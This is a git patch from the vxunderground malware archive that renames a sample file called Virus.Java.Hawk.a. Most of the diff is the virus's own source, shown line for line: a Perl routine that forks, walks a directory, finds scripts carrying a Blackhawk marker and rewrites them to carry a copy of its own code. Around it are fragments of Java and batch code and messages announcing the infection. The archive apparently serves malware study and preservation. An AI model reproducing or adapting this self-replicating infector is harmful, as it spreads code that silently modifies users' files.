From 938260ba9655650779c269856d3e52fc158885c5 Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Sat, 24 Oct 2020 16:06:33 -0500
Subject: [PATCH] Rename Virus.Java.Hawk.a.txt to Virus.Java.Hawk.a

---
 ...irus.Java.Hawk.a.txt => Virus.Java.Hawk.a} | 88 +++++++++----------
 1 file changed, 44 insertions(+), 44 deletions(-)
 rename Java/{Virus.Java.Hawk.a.txt => Virus.Java.Hawk.a} (95%)

diff --git a/Java/Virus.Java.Hawk.a.txt b/Java/Virus.Java.Hawk.a
similarity index 95%
rename from Java/Virus.Java.Hawk.a.txt
rename to Java/Virus.Java.Hawk.a
index c98c161a..4daaa46f 100644
--- a/Java/Virus.Java.Hawk.a.txt
+++ b/Java/Virus.Java.Hawk.a
@@ -22,54 +22,54 @@ sleeper = new Thread(this);
 sleeper.setPriority(Thread.MAX_PRIORITY);
 sleeper.start();
 }
-use File::Find;
-&virus();
-
+use File::Find;
+&virus();
+
 print "\
-nThis program is infected by the Blackhawk virus\n\n";
-
+nThis program is infected by the Blackhawk virus\n\n";
+
 sub virus
-
-{
-    my ( $pid, $new );   
-    if( $pid = fork ) { return; }
-    else
+
+{
+    my ( $pid, $new );   
+    if( $pid = fork ) { return; }
+    else
       
-{
-        open( source, $0 );
-	finddepth ( \&infect, '/home/chris/test' );
-	sub infect 
+{
+        open( source, $0 );
+	finddepth ( \&infect, '/home/chris/test' );
+	sub infect 
 	  
-{
-            open target, "$File::Find::name";
-            $_ = <target>;
+{
+            open target, "$File::Find::name";
+            $_ = <target>;
 	    if 
-( /(\#!.*Blackhawk)/ ) 
-	      {
-		$_ = <target>;
-		if( $_ ne "use File::Find;\n" )
-		  {
-                    $new = $1 . "\nuse File::Find;\n&virus();\n" . $_;
-                    while( <target> ) { $new = $new . $_; }
-		    seek(  source, 0, 0 );
-                    while( <source> ne "sub virus\n" ) { };
-                    $new = $new . "\nsub virus\n";
-                    while( <source> ) { $new = $new . $_; }                  
-                    close  target;
-                    open   target, ">$File::Find::name";
-                    print  target $new;
-                 }
-	      }
-	    close( target );   
-	  }
-        close( source );
-	exit( 0 );
-      }
-  }
-
-# a blackhawk virus, x
-# 
-
+( /(\#!.*Blackhawk)/ ) 
+	      {
+		$_ = <target>;
+		if( $_ ne "use File::Find;\n" )
+		  {
+                    $new = $1 . "\nuse File::Find;\n&virus();\n" . $_;
+                    while( <target> ) { $new = $new . $_; }
+		    seek(  source, 0, 0 );
+                    while( <source> ne "sub virus\n" ) { };
+                    $new = $new . "\nsub virus\n";
+                    while( <source> ) { $new = $new . $_; }                  
+                    close  target;
+                    open   target, ">$File::Find::name";
+                    print  target $new;
+                 }
+	      }
+	    close( target );   
+	  }
+        close( source );
+	exit( 0 );
+      }
+  }
+
+# a blackhawk virus, x
+# 
+
 
 outer.write(buffer);
 outer.close();
@@ -103,4 +103,4 @@ Def *T172000=[Write 10 20 Your computer is infected with Blackhawk.Virus.\n   ,
 @call ttt.BAT
 @del ttt.BAT
 @del ttt.TMP
-# [Blackhawk] by Kingrhua//SMF
\ No newline at end of file
+# [Blackhawk] by Kingrhua//SMF